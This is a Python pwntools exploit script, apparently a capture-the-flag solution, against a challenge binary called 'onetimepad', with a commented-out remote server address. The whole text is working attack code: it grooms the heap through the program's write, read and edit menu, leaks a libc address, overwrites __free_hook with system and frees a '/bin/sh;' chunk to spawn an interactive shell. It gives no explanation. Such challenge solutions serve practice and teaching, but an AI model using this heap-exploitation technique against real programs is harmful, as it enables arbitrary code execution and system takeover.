Rating:
```
#!/usr/bin/env python
#Author: r4j
from pwn import *
from time import sleep
context.terminal=['tmux','new-window']
e = ELF('./onetimepad')
p = process('./onetimepad')
#p = remote('88.198.154.140',31336)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(data):
p.recvuntil('> ')
p.sendline('w')
sleep(0.2)
p.sendline(data)
def read(idx):
p.recvuntil('> ')
p.sendline('r')
sleep(0.2)
p.sendline(str(idx))
return p.recvline().strip()
def edit(idx,data):
p.recvuntil('> ')
p.sendline('e')
sleep(0.2)
p.sendline(str(idx))
sleep(0.2)
p.sendline(data)
def junk(size):
add('A'*size)
add('\x00'*0x650)
read(0)
add('A'*8+p64(0x21)) #0
add('A'*0x10) #1 00
add('A'*0x10) #2 20
add('A'*0x10) #3 40
add('A'*0x10) #4 60
add('A'*0x3a8+p64(0x21)) #5 80
add('A'*8+p64(0x21))
read(3)
read(4)
edit(4,'')
add('a') #3
add('L'*8+p64(0x431)) #4
read(1)
add('A'*0x10) #1
add('/bin/sh;'+'A'*0x28) #7
leak = u64(read(3).ljust(8,'\x00')) - 0x1bbca0
log.info('libc leak: '+hex(leak))
libc.address = leak
read(1)
read(4)
add('A'*0x10+p64(libc.symbols['__free_hook']))
add('a')
add(p64(libc.symbols['system']))
read(7)
p.interactive()
```